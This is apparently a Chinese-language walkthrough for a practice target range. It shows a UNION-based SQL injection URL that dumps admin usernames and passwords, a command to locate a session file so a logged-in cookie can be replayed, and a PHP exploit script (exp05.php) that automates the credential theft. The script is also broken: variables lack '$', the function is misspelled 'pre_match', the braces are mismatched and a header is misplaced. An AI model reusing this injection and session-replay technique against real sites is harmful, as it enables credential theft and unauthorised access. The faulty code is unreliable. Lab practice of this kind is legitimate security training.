1.访问暗月靶场测试系统 账号和密码分别为moon 123456
利用"article.php?id=-1%20union%20select%201,2,group_concat(0x7e,username,0x3a,password,0x7e)%20from%20admin"写入url中获取cookie。
如果不登录的情况下直接访问url页面是会返回登录后再进行访问 这种情况下编写exp同样是返回登录后再进行访问。
$_SESSION['name']=$username;
在linux下面查找session的命令
find / -name **gpcjcspj2oje5j3h2dtb8c8895
登入成功后查看文件里就会存在moon
如图
遇到有权限认证的页面就可以通过登录后的session 再提交数据的时候也提交就可以了
详细代码exp05.php
<?php
$site="www.moontester.com";
$payload="article.php?id=-1%20union%20select%201,2,group_concat(0x7e,username,0x3a,password,0x7e)%20from%20admin";
$key="PHPESSID=gpcjcspj2oje5j3h2dtb8c8895";
function send_http($site,$payload,$key){
$fp=fsockopen(site,80,$errno,$errstr,30);
if(!$fp){
echo "$errstr (errno)<br />\n";
}else{
$out="GET /{payload} HTTP/1.1\r\n";
$out.="Host:{$site} \r\n";
$out.="Connection:keep-alive\r\n\r\n";
$out.="Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$out.="Cookie:{$key}\r\n";
fwrite($fp,$out);
while(!feof($fp)){
$resp.=fgets($fp,1024);
}
fclose($fp);
return $resp;
}
}
$html=send_http($site,$payload,$key);
if($html){
pre_match('/~(.*?)~/',$html,$m);
if($m[1]){
echo "[+]{$m[1][+]";
}else{
echo"[!]error[!]";
}else{
echo"[!]error[!]";
}
}
运行exp05.php,得到数据